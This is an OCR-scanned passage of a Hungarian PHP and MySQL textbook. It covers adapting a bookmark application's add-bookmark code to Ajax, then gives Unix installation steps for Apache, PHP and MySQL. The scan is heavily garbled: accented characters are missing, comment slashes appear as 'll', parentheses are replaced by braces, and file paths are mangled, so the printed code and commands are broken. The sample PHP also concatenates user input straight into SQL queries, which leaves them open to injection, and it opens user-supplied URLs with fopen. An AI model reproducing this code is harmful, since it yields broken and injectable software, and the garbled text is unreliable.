mindent az egyben tartalmaz ajaxos mkdsre, jobb megtartani nhny, esedeg feleslegesnek bizonyul elemet, minrsem
eltvoltani egy-egy fontos funkcit. ppen ezrt hagyjuk meg a kj_hozzaadasa. php fjl els sort gy, ahogy van!
A msodik sort, amely j felhasznli munkamenetet indt vagy meglvt folytat, szintn ne vltoztassuk meg! A mvelet
Ajaxot tmogat verzijban is szksgnk van a biztonsgra. Ugyangy hagyjuk vltozatlanul a harmadik sort is, amelyben
rvid vltoznevet ( Suj_url ) adunk a krsben elkldtt POST rtknek:
$uJ_url

$ POST['uj_url'];

Ezzel eljutottunk odig, hogy vgre-valahra eltvoltharunk valamir, nevesen az albbi sort:
html_fejlec_letrehozasa('Knyvjelzk hozzadsa'};

Mivel mr gyis a HTML fejlc-informcit tartalmaz oldalon ( kj_ hozzaactasa_urlap. php) vagyunk, nincs rtelme
megismtelni azr, hiszen nem megynk msik oldalra. Ez az ismdds eredmnyezi a 34.4 brn ltott dupla fejlcet. Hason
l okok miatt szabaduljunk meg a kj_hozzaactasa. php kd vgn tallhat kt sortl is:

felhasznaloi_menu_megjelenitese(};
html lablec letrehozasa(};

Ha eltvoltjuk ezeket az elemeket, feltltjk a fjlt a kiszolglra, majd megprblunk az alkalmazsban hozzadni egy
knyvjelzr, megkzeltleg a vrt eredmnyt kapjuk.Nhny tovbbi mdostsra azonban mg mindig szksg van.A 34.5
brn azt lthatjuk, hogy a kdban az eddig a pontig vgrehajtott vltoztatsokkal hogyan jelenik meg az alkalmazs.
Mg nndig ktszer jelenik meg a felhasznl llapotra vonatkoz informci (bejelentkezett), de az sszkp mr nem
annyira zavar, mint az elbb. A kvetkez lps a dupln megjelen zenetek eltvoltsa, illetve a kd kivtelkezelshez kap
csold rsznek mdosrsa, hogy az Ajax krnyezetben is megfelel legyen.

1--E:..:,------7i: 7:2
PHPbookmaf1t
KnyvjekOk hozzJadsa
-..- --

...

T.,. n--

._

PHPbookmark
K6nyvjetz6k hozziiidba
---
A._,_".,_.___,_

-----

34.5 bra: A

34

knyvjelz hozzadsakor lthat oldal a kj_ hozzaadasa. php kd els mdostsa utn.

A felhasznl bejelentkezsi nevt tartalmaz zenet msodik pldnynak trlshez tvoltsuk el a kj_hozzaadasa. php
kdbl az albbi sort:
ervenyes felhasznalo_ellenorzese(};

A felhasznl ellenrzse a kj_hozzaadasa_urlap. php oldal betltsekor mr megtrtnr; jogosuladan felhasznl


knt nem juthatnnk olyan oldalra, amely Ajax funkcikat hv meg.
A kvetkez lps a kls try blokk s a kivtelkezels eltvoltsa. Erre azrt van szksg, mert azt szeretnnk, hogy a kd
gy rjen vget, hogy megjelenti a felhasznlnak a mr elmentett URL-ek lisrjr. Ez azt jelenti, hogy mdostanunk kell
azt, ahogy- szksg esern- a hibazenerek megjelennek. A 34.9 pldakd a kj_ hozzaadasa. php mdostort vltozatt
tartalmazza.
34.9

pldakd: A

kj_hozzaactasa. php

kd mdostott vltozata

<?php
require_once('konyvjelzo_fuggvenyek.php'};
session_start(};

Web 2.0-s alkalmazsok fejles::tse Ajax-programossal

615

ll rvid vltoznv ltrehozsa


$uJ_url = $_POST['uj_url'];
ll ellenrizzk,

hogy az rlap ki lett-e tltve!

if (!kitoltott($_POST))

ll ha nincsen
echo "<p class=\"warn\">Az rlap nincs teljesen kitltve.<lp>";
else

ll ha ki van;

ellenrizzk s szksg esetn javtsuk ki a:: URL formtumt!

if (strstr($uj_url,
$uj_url

'http:ll') === false)

'http:ll'.$uj_url;

ll folytassuk az URL rvnyessgnek ellenr::svel!


if (!(@fopen($uj_url,

'r')))

echo "<p class=\"warn\">trvnytelen URL.<Ip>";


else

ll ha rvnyes,

adjuk hozz az adatbzishoz!

kj_hozzaadasa($uj_url);
echo "<p>Knyvjelz hozzadva.<lp>";

ll a jelenlegi krs llapottl fggetlenl


ll a felhasznl ltal elmentett knyvjelzk lekrse
if ($url_tomb = felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo']))
felhasznaloi_url_megjelenitese($url_tomb);
?>

A kd ezen vltozata is a lehetsges esemnyek logikus menett kveti, m az egyes oldalelemek megkett:l:se nlkl jelenti
meg a megfelel hiba::enetet.
Elsknt a::t ellenri::::k, hogy magt az rlapot kitltttk-e. Ha nem, akkor hiba::enet jelenik meg a ho::adsra s::olg
l rlap s az eltrolt knyvjel::k aktulis listja k::tt. Ezt az esetet ltjuk a 34.6 brn.
A msodik ellenrzs az URL megfelel formtumra vonatkok; nem megfelel formtum esetn a karakterlncot helyes
URL-l alaktjuk, majd tovbbmegynk a kvetkez lpsre. Ebben az URL-t megnyitva ellenmzk rvnyessgt. Ha az
URL-t nem lehet megnyitni, hiba::enet jelenik meg az rlap s az eltrolt knyvjel::k aktulis listja k::tt. Mkd URL
esetn ho::::adjuk azt a felhas::nl URL-jeit trol listho::. A 34.7 brn azt a vlas::t ltjuk, amit akkor kapunk, ha rvny
telen URL-t kisrink meg ho::::adni a listho::.

-=---J-=
A

PHPbookmark

KDnyvjehOk houi.adba

1---

Ef;;;:;....;.ji..
D

IIWIWMIMI
__.... , _

34.6 bra: res rlap elkldse.

34

616

34. fejezet

//HPbookmark
Knyvjelzk hozzdlso

IQIIak:s....
--

ll!_

11

.......

34.7 bra: rvnytelen URL hozzadsa.


Vgezetl - az URL ho:z;:z;adsa sorn jelentke:z; hibktl fggetlenl - megjelentjk a felhas:z;nl jelenlegi knyvjelzit.
Ennek eredmnyt lthatjuk a 34.8 brn.

o
o

34.8 bra: Sikerlt - rvnyes URL-t adtunk a listho:z:.


Br a knyvjel:z:k ho:z;:z;adsrt felels kdot sikeresen"ajaxostottuk'; egyes elemeknl tovbbi munka s:z;ksgeltetik.
Pldul a:z; url_fuggvenyek. php fjlban tallhat kj_ho:z:zaadasa () fggvny mg mindig olyan kivteleket tartalma:z;,
amelyeket mskppen kell kezelni ahho:z;, hogy a:z; j rends:z;ernek megfelel hiba:z;enetet eredmnyez:z;k. A 34.10 pldakd

34

ban a jelenlegi llapotban lthatjuk a kj_hozzaadasa() fggvnyt.

34.10 pldakd: A:z; url_fuggvenyek.php fjl kj_hozzaactasa () fggvnynek eredeti vlto:z:ata


function kj_hozzaadasa($uj_url)

ll j knyvjelz hozzadsa az adatbzishoz


echo "A ".htmlspecialchars($uj url)." hozzadsa<br l>";
$ervenyes_felhasznalo = $_SESSION['ervenyes_felhasznalo'];

$kapcsolat = adatbazishoz kapcsolodas();

ll ellenrizzk,

hogy nem ismtld knyvjelz-e!

$eredmeny = $kapcsolat->query("SELECT

FROM konyvjelzo

WHERE felhasznaloi_nev='$ervenyes felhasznalo'


AND kj_URL='".$uj_url."'");

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

617

if ($eredmeny && ($eredmeny->num_rows>0))


throw new Exception('Mr ltez knyvjelz.');

ll j knyvjelz hozzadsa az adatbzishoz


if (!$kapcsolat->query("insert into konyvjelzo values
('".$ervenyes_felhasznalo."',
throw new Exception('A

'" .$uj_url."')"))

knyvjelz

hozzadsa nem sikerlt.');

return true;

Jelen esetben pusztn a kivteleket szeretnnk megvltoztatni, hogy hibazenetet eredmnyezzenek, s folytassk a feldolgo
zst (megjelentst). Ezt gy rhegk el, ha a kt klnll if blokkot
if ($eredmeny && ($eredmeny->num_rows>0))

az

albbiak szerint mdostjuk:

echo "<p class=\"warn\">Mr ltez knyvjelz.<lp>";


else

ll j knyvjelz hozzadsa az adatbzishoz


if (!$kapcsolat->query("INSERT
('".$ervenyes felhasznalo."',

INTO konyvjelzo VALUES


'".$uj_url."')"))

echo "<p class=\"warn\">A knyvjelz hozzadsa nem sikerlt.<lp>";


else
echo "<p>A knyvjelz

hozzadsa sikerlt.<lp>";

A kdnak ez a vltozata is a lehetsges esemnyek logikai menett kveti, s a megfelel hibazeneteker jelenti meg. Miutn
megvizsglj a, hogy

az

adott knyvjelz megtallhat-e mr a felhasznl knyvjelzi kztt, vagy hibazenet jelent meg az

rlap s az eltrolt knyvjelzk aktulis listja kztt, vagy megprblja hozzadni a knyvjelzt az adatbzishoz.
Ha a hozzads nem hajthat vgre, megint csak hibazenet jelenik meg az rlap s

az

eltrolt knyvjelzk list:ija kztt.

Amennyiben a knyvjelzt sikeresen hozzadtuk az adatbzishoz, ..A knyvjelz hozzadsa sikerlt:' zenetet kzljk
a felhasznlval. Ezt

az

echo utastst eltvoltottuk a kj_ hozzaactasa. php kdbl, s a kj_hozzaadasa( ) fggvnybe

tettk be, mert msklnben az is elfordulhatna, hogy a felhasznl,.A knyvjelz hozzadsa nem sikerlt:' zenetre!, majd
kzvetlenl utna"A knyvjelz hozzadsa sikerlt:' zenettel tallkozik olyan esetben, amikor egybknt a knyvjelzt nem
sikerlt felvennie.
A 34.9 brn a fenti vltoztatsok eredmnyt lguk.

34
A __ ,_,_"-.-.,

---

c
c

__......, , _

34.9 bra: A felhasznl mr ltez knyvjelzi prbl megfelvenni a listjra.

618

34. fejezet

Tovbbi vltoztatsi lehetsgek a PHPbookmark alkalmazsban


A knyvjelz hozzadsa funkci Ajaxot tmogat felhasznli felletr alaktsa csak egy az alkalmazson vgrehajthat
szmtalan vltoztarsi lehetsg kztt. A logikusan kvetkez lps a knyvjelzk trlsi mdjnak megvltoztatsa. Ennek
folyamata a kvetkezkppen nzhet ki:
Tvoltsuk el az oldal lblcbl a KJ trlse hivatkozst!

Amikor a felhasznl az egyes knyvjelzk mellett lv .,Trls?" jellngyzetbe kattint, hvjunk meg egy j JavaScript
fggvnyt!
Mdostsuk a kj torlese. ph p kdot gy, hogy ha az j JavaScript fggvny meghvja, hajtsa vgre a trlsi folyama
_

tot, s jelentse meg a felhasznl szmra a megfelel zeneted


Vgezzk el a szksges mdostsokat, hogy a mvelet megfelelen hajcdjon vgre, s a helyes zeneteket jelentse meg
az j felhasznli felleten!
A fejezetben lertak alapjn nllan is vgre kell tudnunk hajtani a szksges mdostsokat. Mindazonltal a kvetkez
oldalakon olyan informciforrsokra szetetnnk felhvni az olvask fi.gyelmt, amelyek sokkal rszletesebben mutatjk be az
Ajaxot tmogat weboldalak ltrehozsnak feladatt.
Ne feledjk, hogy az Ajax olyan technolgik kombincija, amelyek egyttes alkalmazsval a grdlkenyebb hasznlat
lmnyt nyjthatjuk oldalunk ltogatnak! Ehhez gyaktan arra van szksg. hogy az elejtl a vgig teljesen jragondoljuk
meglv alkalmazsaink felptst s mkdst.

Tovbbi informci
A fejezetben csupn rintlegesen foglalkozhattunk az Ajaxot tmogat alkalmazsok ltrehozsnak feladatval. A Sams
Teach YourselfAjax,]avaScript and PHP All in One (Tanuljuk meg az Ajax, a JavaScript s a PHP hasznlatr!) cm kiadvny

sokkal rszletesebben trgyalja ezeket a tmakrket (s mg sok msikat), gy ha az ebben a fejezetben lertak felkeltettk r
dekldsnket, rdemes lehet beleolvasni. Szmos olyan weboldal ltezik, amit rszben vagy egszben az Ajax alkalmazsokat
alkot technolgiknak szemeitek, illetve az olyan kdknyvtrakbl sincs hiny, amelyek azzal segithetik munknkat, hogy
megkmlnek bennnket a kerk jbli felfedezstL

Bvebben a Document Object Modelrl (DOM)


Knyvnkben PHP-vel vgzett szerveroldali programozssal s a MySQL mint a dinamikus alkalmazsokat mkdte
t relcis adatbzis hasznlatval foglalkozunk. gy a kliensoldalon dolgoz nyelveket, pldul az XHT ML-t, a CSS-t,
a JavaScriptet s a Document Object Modelt (DOM) csak rintettk. Ha teljesen ismeretlen szmunkra a DOM, akkor ez
legyen az els tmakr, amiben annak remnyben mlylnk el, hogy egyszer majd tkletesen mkd Ajax alkalmazso
kat tudunk fejleszteni!
Szinte az sszes Ajax alkalmazsunk JavaScriptet fog hasznlni a DOM kezelsre. Akr megjelentsi elemekkeL bng
szelzmnyekkel vagy window location objektumokkal dolgozunk, a DOM-ben elrhet objektumok s tulajdonsgok alapos
ismerete elengedhetetlen azon zavartalan felhasznli lmny megteremtshez, ami az Ajax alkalmazsok fejlesztsnek a clja.
A kvetkez oldalakon rengeteg hasznos informcit tallunk a DOM elsajttshoz:

34

A W3C mszak jelentsei a Document Object Modelrl: http://www.w3.org/DOM/DOMT R


A DOM Scripting Task Force weboldala: http:/l domscripting.webstandards.org/
A Mozilla Developer Network dokumentumai a DOM-rl: http:/l developer.mozilla.org/en/docs/DOM (egyttal
JavaScript dokumentumok tekintetben is kivl informciforrs: http:/l developer.mozilla.org/ en/docs/JavaScript)

JavaScript knyvtrak Ajax alkalmazsokhoz


Az Ajaxot tmogat alkalmazsok 2005 krl jelentek meg. Akkoriban trtnt, hogy Jesse James Garrett egy tanulmnyban
megalkotta az Ajax kifejezst, mert .,nagyon krlmnyesnek tallta minden egyes alkalommal kimondani azt, hogy ,Aszinkron
JavaScript+CSS+DOM+XMLHttpRequesr; amikor gyfeleinek bemutatta ezt a megkzeltst:' Az azta eltelt id bven
elegendnek bizonyult az Ajax alkalmazsaink ltrehozst megknnyt JavaScript fggvnyknyvtrak elksztshez.

Megjegyzs: Read Garrett .Ajax: A New Approach to Web Applications" cm rsa a http:/ /www.adaptivepath.com/
ideasiessays/ archives/000385.php oldalon rhet el.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

619

A kvetkezkben nhny npszer knyvtrat sorolunk fel, de ha bngsznk egy kicsit az Ajax-fejleszti oldalakon, rvid
id alatt sok msik knyvtrhoz eljutharunk. Ha ezek kzl kivlasztunk egyet (vagy tbbet), amit hasznlni kvnunk, rvi
debb id alatt kszthetjk el alkalmazsainkat, mert - ahogy mr utalrunk r- nem kell jra felfedeznnk a kereket.
A Prototype JavaScript Framework sszetert Ajax alkalmazsok fejlesztse esern segti munknkat azzal, hogy egy
szerbb teszi a DOM-kezelst s a XMLHTTPRequest objektum hasznlatr. Tovbbi informcirt ltogassunk el
a hrtp://www.prototypejs.org/ oldalra!
A Dojo nylt forrskd eszkzkszlet, amely alapszintJavaScript fggvnyeket, widgetek ltrehozsra szolgl keret
rendszert, valamint a kd becsomagolsra s a vgfelhasznlhoz val hatkony eljuttatsra alkalmas mechanizmust
knl. Ha szeretnnk rla bvebb informcit kapni, ltogassunk el a http:/l dojoroolkit.org/ oldalra!
AMochiKit a DOM-me! vgzert munkhoz szksges s a kimenetet a vgfelhasznl szmra formz fggvnyeket
tartalmaz knyvtr. A MochiKit szlogenje kicsit nyersen, de szintn cloz r, hogy hasznlatval nem kevs bossz
sgtl kmlhegk meg magunkat: "MochiKit makesJavaScript suck Iess:' AMochiKitben lv fggvnyek s megold
sok, a fejleszrk szmra elrhet dokumentcik s aMochiKir hasznlatval ltrehozott mintaprojektek mind emlrs
re rdemesek. Tovbbi informcirt menjnk a hrtp://mochikir.com/ oldalra!

Ajaxfejleszti weboldalak
Az Ajax-fejlesztsrl vgs soron gy tanulharunk a legtbbet, ha kiprbljuk. Gyjrsnk ssze kddarabkkar, gondoljuk
ki, hogyan lehet azokat meglv alkalmazsainkba beilleszteni, s tanuljunk azokrl, akik mr rgebb ta dolgoznak ezekkel
a technolgikkal l Az albbi oldalakon rengeteg segitsger kaphatunk, hogy hogyan fogjunk hozz az Ajax-fejleszrsnek:
Az Ajaxian fejleszti portl hreket, cikkeket, oktatanyagokat s minrakdokar knl a kezd s rapasztalt fejlesztknek.
A portl a hrtp:/ /ajaxian.com/ oldalon rthet el.
Az AjaxMarters rszleres s tartalmas cikkeket, rsokat kzl az Ajax-fejlesztsrL Tovbbi informcirt ltogassunk
el a hrtp://www.ajaxmarters .com/ oldalra!
Az Ajax Lines egy msik fejleszti portl, ami az Ajaxszal kapcsolaros hrekre s rsokra murar hivatkozsokbl ll.
A portlt a hrtp://www.ajaxlines.com/ cmen rjk el.

34

A fggelk
A PHP s

MySQL teleptse

Az Apache, a PHP s a MySQL opercis rendszerek s webszerverek sokfle kombincijn rhet el. Ebben a fggelkben
csupn nhny platformra vonatkozan mutatjuk meg, hogyan kell az Apache-t, a PHP-t s a MySQL-t telepteni s bellta
ni: a Unix s a Windows Vista opercis rendszeren elrhet leggyakoribb lehetsgeket tekintjk t.
Az albbi fbb tmakrkkel foglalkozunk:
A PHP futtatsa CGI rtelmezknt vagy modulknt
Az Apache, az SSL, a PHP s a MySQL teleptse Unix alatt
Az Apache, a PHP s a MySQL teleptse Windows alatt

A telepts tesztelse a phpinfo ( ) fggvnnyel


A PEAR teleptse
Egyb konfigurcik lehetsge

Megjegyzs: A PHP Microsoft Internet Information Serverre vagy ms webszerverre teleptsnek folyamatval itt s most nem
foglalkozunk. Ha lehetsg van r, az Apache webszerver hasznlatt javaso!juk. A Microsoft IIS-re vagy Personal Web Serverre
(PWS) teleptsrl a PHP online kziknyvnek http://www.php.net/manual!en/install.windows.iis.php oldaln olvashatunk.
Jelen fggelkben olyan teleptsi tmutatt kivnunk adni, amely lehetv teszi, hogy tbb weboldalt zemeltessnk

egyeden webszerveren. Egyes oldalakon - pldul a knyv nmelyik projektjben - Secure Sockets Layer {SSL) szksges az
e-kereskedelmi megoldsokhoz. A weboldalak tbbsgt kdokkal vezreljk, hogy adatbzisszerverhez kapcsoldva adatokat
nyerjenek ki belle, s feldolgozzk azokat.
Rengeteg olyan PHP-felhasznl ltezik, akinek soha, egyeden gpre sem kell PHP-t teleptenie. Pontosan ezrt ke
rlt ez az anyag ide, a fggelkbe, nem pedig a PHP

gyorstalpal cm l. fejezetbe. Legegyszerbben gy juthatunk gyors

internetkapcsolattal s teleptett PHP-vel rendelkez, megbzhat kiszolglhoz, ha kivlasztunk egyet a szmtalan


trhelyszolgltat kzl, s ignybe vesszk szolgltatsait.
Attl fggen, hogy milyen clbl teleptjk a PHP-t, eltr dntseket hozhatunk. Ha van egy olyan gpnk, amelyik
llandan a hlzathoz van csatlakoztatva, s ezt szeretnnk lesben mkd kiszolglknt hasznlni, akkor szmunkra a tel
jestmny lesz fontos. Ha fejleszts cljra kivnunk egy szervert ignybe venni, hogy programozhassunk, s tesztelhessk rajta
kdjainkat, akkor a legfontosabb, hogy az lesben zemel kiszolglhoz hasonl - vagy azzal teljesen megegyez - konfigur
cival zemeljen. Ha ASP-t s PHP-t szndkozunk ugyanazon a gpen futtatni, bizonyos korltokat figyelembe kell vennnk.

Megjegyzs: A PHP rtelmez Juttathat modulknt vagy klnll CGI (Common Gateway Interface, azaz kzs Yr
interfsz) binris fjlknt. A teyestmny tern jelentkez elnyei miatt ltalban a modul verzit preferyk. A CGI verzit
olyan kiszolglkhoz hasznyk, amelyeken a modul verzi nem elrhet, vagy azrt vlaszYk, rnert lehetv teszi az Apache
felhasznlknak, hogy klnbz Jelhasznli azonostk alatt klnbz PHP alap oldalakatJuttassanak.
Ebben a fggelkben a modul verzit mutatjuk be a PHP futtatsnak elsdleges mdszereknt.

Az Apache, a PHP s a MySQL teleptse Unix alatt


Ignyeinkrl, illetve a Unix rendszerekkel kapcsolatos ismereteink szintjtl fggen vlaszthatunk a binris fjlok teleptse
{binary install) s a programoknak kzvedenl a forrsukbl val forditsa kzl. Mindkt megkzeltsnek vannak elnyei.
A binris telepts legfeljebb nhny percet vesz ignybe a hozzrt szmra, s egy kezdnek sem tart sokkal tovbb, de
eredmnyl olyan rendszert ad, amely minden bizonnyal egy vagy kt verzival rgebbi az aktulisnl, radsul valaki ms ltal
kivlasztott belltsokkal lett konfigurlva.

622

35. fejezet

A forrsbl val teleptsnl idt kell sznni a letltsre, a teleptsre s a konfigurlsra, s az els nhny alkalommal ta
ln jogosan idegenkednk tle. Ebben az esetben azonban celjes mrckben ellenrzsnk alatt carejuk a teleptse. Mi vlaszt
juk ki, hogy mit teleptsnk, milyen verzit hasznljunk, s milyen konfigurcis direktvkat lltsunk be.

Binris fjlok teleptse


A legebb Linux disztribci elre kanfigurlc Apache webszerverc tartalmaz, rajta beptett PHP-vel. Hogy egszen poncosan
mit kapunk, az a kivlasztott disztribcitl s verzitl fgg.
A binris fjlok teleptsnek egyik htrnya, hogy ritkn j urunk a program legfrissebb verzijhoz. Attl fgg en, hogy
mennyire voltak fontosak az elmlt idszak hibajavtsai, nem biztos, hogy gondot okoz szmunkra, ha rgebbi verzit ka
punk. Ennl lnyegesebb, hogy nem mi vlasztjuk ki, hogy rnilyen belltsok fordtdnak be a programokba.
A lehet legeugalmasabb s legmegbzhatbb t, ha a forrsaikbl forditjuk be az sszes programot, amire csak szksgnk
van. Ez valamivel tbb idt vesz ignybe, minc az RPM-ek (Red Hat csomagkezelk) teleptse, ezrt ott, ahol megfelelek,
vlaszthatjuk RPM-ek vagy ms binris csomagok hasznlatr. Ha hivatalos forrsban nem rhetk el az ltalunk ignyelt
konfigurcij binris fjlok, keresmotorok segtsgvel akkor is tallharunk nem hivatalos verzikat.

Forrs teleptse
Teleptsk az Apache-t, a PHP-t s a MySQL-t unixos krnyezetbe! Elszr is el kell dncennk, hogy a fenti ttin tlmen
en milyen extra modulokat kivnunk telepteni. Mivel a knyvben bemutatott pldk egy rszben biztonsgos szerverc hasz
nlrunk a webes tranzakcikhoz, SSL-t tmogaeni kpes kiszolglt kell telepteni.
A knyv cljainak megfelel PHP konfigurci tbb-kevsb megegyezik az alaprcelmezettel, m munknkhoz a gd2
knyvtrra is szksgnk van. Ez csak egyike a PHP-hoz elrhet szmtalan knyvtrnak. Azrt vettk be ezt is a teleptsi
folyamatba, hogy lssuk, hogyan tehetnk a PHP-n bell ms knyvtrakat is elrhetv. A legebb Unix program fordtsa
hasonl folyamat szerinc trtnik.
j knyvcr teleptse utn ltalban jra kell fordtani a PHP-t, ezrt ha rudjuk elre, hogy mire van szksgnk, rdemes
gpnkre az sszes knyverat telepteni, majd utna elkezdeni a PHP modul teleptst.
A kvetkezkben a SuSE Linux szerverre val telepts folyamatt mucatjuk be, de lersunk elg ltalnos ahhoz, hogy ms
Unix kiszolglkan is hasznt vegyk.
Kezdskm gyjtsk ssze a teleptshez szksges fjlokat! Az albbi elemekre lesz szksgnk:
Apache (http://httpd.apache.org/) - A webszerver
OpenSSL (http://www.openssl.org/)-Nylt forrskd eszkzkszlet a Secure Sockets Layer megvalstsra
MySQL (http://www.mysql.com/)-A relcis adatbzis
PHP (http://www.php.net/)-A szerveroldali programozsi nyelv
ftp://ftp.uu.net/graphics/jpeg/-A PDFlib-hez s gd-hez szksges JPEG knyvtr
htcp://www.libpng.org/pub/png/libpng.hcml - A gd-hez szksges PNG knyvtr
http://www.zlib.net/- A fenti PNG knyvtrhoz szksges zlib knyvtr
http://www.libriff.org/-A PDF!ib-hez szksges TIFF knyvtr

ftp://ftp.cac.washingeon.edu/imap/ - Az !MAP ltal ignyelt !MAP c kliens

Amennyiben hasznlni kivnjuk a ma il ( ) fggvnyt, kell, hogy legyen teleptve egy MTA (maii transfer agent, azaz levlto
vbbt gens), m ennek folyamatra most nem trnk ki.
Felttelezzk, hogy hozzfrnk a kiszolgl gykrmappjhoz, s rendszernkre teleptve vannak a kvetkezk:
gzip vagy gunzip
gc c s GNU make

Ha kszen llunk a teleptsi folyamatra, elszr is tltsnk le nnden tar forrsfjlt egy ideiglenes knyvtrba! Olyan
meghajtra rakjuk ket, ahol megfelel trhely ll rendelkezsnkre! Pldnkban a lusrlsrc ideiglenes knyvtrat hasznl
juk. A jogosultsgi problmk elkerlse rdekben root ( rendszergazdai) felhasznlkm tltsk le a fjlokat!

MySQL teleptse

Ebben a rszben bemutatjuk, hogyan hajtsuk vgre a MySQL binris teleptst. Az ilyen tpus telepts a fjlokat automati
kusan helyezi el a megfelel helyekre. Az albbi knyvtrakat vlasztottuk a tri tbbi tagjnak teleptshez:
lusrllocallapache2
lusrllocallssl

A PHP s a MySQL teleptse

623

Az alkalmazsokat gy tudjuk msik knyvtrakba telepteni, ha telepts eltt megvltoztatjuk az eltag-belltst (prefix).
Vgjunk bele! Az su hasznlatval vltsunk root felhasznlra:
$

su root

Ezt kveten gpeljk be a root felhasznl jelszavt! Majd vltsunk arra a knyvtrra, ahol a forrsfjlokat eltroltuk! Ese
tnkben a kvetkezt kell begpelni:
#

cd /usr/src

A MySQL azt nlja, hogy ne nullrl kezdve vgezzk el a fordtst, hanem tltsk le a MySQL egy binris csomagjt.
Hogy melyik verzit vlasztjuk, az attl fgg, hogy rnire szeretnnk hasznlni. Br a MySQL"prerelease" verzii ltalban igen
stabilak, lesben mkd oldalon nem szoks hasznlni ket. Ha viszont sajt gpnkn tanulunk vagy ksrleteznk, nyugod
tan dolgozhatunk ezekkel a verzikkal is.
Az albbi csomagokat kell letlteni:
MySQL-server-VERZI.i386.rpm
MySQL-Max-VERZI.i386.rpm
MySQL-client-VERZI.i386.rpm

(A VERZI sz helyre kerl a konkrt verziszm. Akrmelyik verzi mellett dntnk, gyeljnk, hogy hozz megfelel
kszletet vlasszunk!) Ha ezen a gpen kvnjuk ftmatni a MySQL klienst s szervert, illetve ms programokba-pldul
PHP-be - be kvnjuk fordtani a MySQL tmogatst, akkor mindhrom csomagra szksgnk lesz.
Az albbi utastsokat begpelve teleptsk a MySQL szervereket s a klienst:
rpm -i MySQL-server-VERZI.i386.rpm
rpm -i MySQL-Max-VERZI.i386.rpm
rpm

-I MySQL-client-VERZI.i386.rpm

A MySQL szervernek innentl mkdkpesnek kell lennie.


Itt az id, hogy jelszt lltsunk be a root felhasznlnak! A kvetkez parancsban ne mulasszuk el lecserlni
u j -j elszo kfejezst az ltalunk kvlasztott jelszra, msklnben az uj -j els z o lesz a root jelszava:

az

mysqladmin -u root password 'uj -j elszo'

Teleptsekor a MySQL automatikusan ltrehoz kt adatbzist. Az egyik a felhasznlkat, a hosztokat s az adatbzis-jo


gosultsgokat az aktulis kszolgln szablyoz mysql tbla, a msik pedig egy teszt adatbzis. A parancssoron keresztl
a kvetkezkppen ellenrizhetjk adatbzisunkat:
#

mysql -u root -p

Enter password:
mysql> show databases;

+--------------------+
l

Database

+--------------------+
l

mysql

test

+--------------------+
2

rows in set

(0.00

sec)

A MySQL-bl kilpshez gpeljk be: qui t vagy \q !


Az alaprtelmezett MySQL-konfigurci brmely felhasznl szmra felhasznli nv s jelsz nlkl elrhetv tes:z;i
a rendszert. Ezt az llapotot rtelemszeren nem s:z;abad fenntartani.
A MySQL rendbe raksnak utols ktele:z; eleme a nvtelen (anonim) felhas:znlk trlse. Ehhez indtsuk el a parancs
sort, majd gpeljk be a kvetkez sorokat:
#

mysql -u root -p

mysql> use mysql


mysql> delete from user where User=";
mysql> quit

Majd a kvetkezket begpelve:


mysqladmin -u root -p reload

lptessk hatlyba a vlto:ztatsokat!


Amennyiben replikcit s:zeretnnk hasznlni MySQL ks:zolglnkon, a binris naplzst is be kell kapcsolnunk. Ehhez
elszr is lltsuk le a szervert:
mysqladmin -u root -p shutdown

624

35. fejezet

Hozzuk ltre az letclmy.cnf nev fjlt, ami a MySQL-belltsainkat fogja trolni! Egyelre csupn egyetlen bellrsra
van szksgnk, de akrhnyat bellthatunk itt. A belltsok teljes listjt a MySQL kziknyvben talljuk.
Nyissuk meg a fjlt, s gpeljiik be a kvetkezket:
[mysqld]
log-bin

Menrsiik el a fjlt, majd zrjuk be! Ezt kveten a mysqld_safe futtatsval indtsuk jra a kiszolglt!

A PHP teleptse

Tovbbra is root felhasznl kell, ha nem azok vagyunk, az su segtsgvel vltsunk vissza r!
Mieltt teleptennk a PHP-t, az Apache-t kanfigurlnunk kell, hogy tudja, mit hol tall. {Az Apache szerver belltsakor
visszatrnk erre a tmra.) Menjnk vissza a knyvtrhoz, ahova a forrskdot helyeztiik:
JI

cd lusrlsrc

JI

gunzip -c httpd-2.2.9.tar.gz

JI

cd httpd-2.2.9

JI

tar xvf -

lconfigure --prefix=lusrllocallapache2

Most mr elkezdhetjiik a PHP teleptst. Csomagoljuk ki a forrsfjlokat, s vltsunk a knyvtrukra:


#

cd lusrlsrc

gunzip -c php-5.2.6.tar.gz

cd php-5.2.6

tar xvf

A PHP configure parancsval itt is szmtalan belltst hajthatunk vgre. A . l configure --help l less begpel
svel kapott segtsg alapjn hatrozhatjuk meg, hogy mit kvnunk hozzadni. Jelen esetben a MySQL, az Apache, a PDFtib
s a gd tmogatst kvnjuk bekapcsolni.
rdemes megemlteni, hogy a most kvetkezk egyetlen parancs. rhatjuk az egszet egy sorba, vagy - ahogy itt is szerepel
- hasznlhatjuk a folytats karaktert, a fordtott perjelt {\). Ez a karakter lehetv teszi, hogy az olvashatsg rdekben tbb
sorba rjunk egy hossz utastst:
#

.lconfigure --prefix=lyourlpathltolphp
--with-mysqli=lyourlpathltolmysql coniig
--with-apxs2=1usrllocallapache2lbinlapxs
--with-jpeg-dir=lpathltoljpeglib

--with-tiff-dir=lpathlto.tiffdir

--with-zlib-dir=lpathltolzlib

\
\

--with-imap=lpathltolimapcclient

--with-gd

Ezt kveten ltrehozzuk s teleptjiik a binris fjlokat:


ll
#

make
make install

Msoljunk be egy INI fjlt a lib knyvtrba:


#

ep php.ini-dist lusrllocallliblphp.ini

vagy
ll

ep php.ini-recommended lusrllocallliblphp.ini

A fenti kt parancsban lv php.ini fjlokban eltr belltskszleteket tallunk.


Az els, a php.ini-dist elssorban fejlesztsi clra hasznlt gpekre val. Ebben pldul be van kapcsolva a display_
errars direktva. Ez megknnyti a fejlesztst, de lesben mkd gp esetn nem igazn kvnatos. Arnikor knyvnkben
a php.ini fjlbeli valamelyik bellts alaprtelmezett rtkre hivatkozunk, akkor a php.ini ezen verzijban tallhat
bellrsra gondolunk. A msodik vltozat, a php. ini-recommended lesben miikd gpekre val.
A PHP-belltsokat a php.ini fjlt szerkesztve mdosthatjuk. Szmtalan belltst megvltoztathatunk, rdemes nh
nyat ezek kzl megemlteni. Ha kdjainkbl szeretnnk e-maileket kldeni, be kell lltanunk a sendmail_path rtkr.
Itt az ideje, hogy belltsuk az OpenSSL-t! Ez az, amit ideiglenes tanstvnyok s CSR fjlok ltrehozsra fogunk hasz
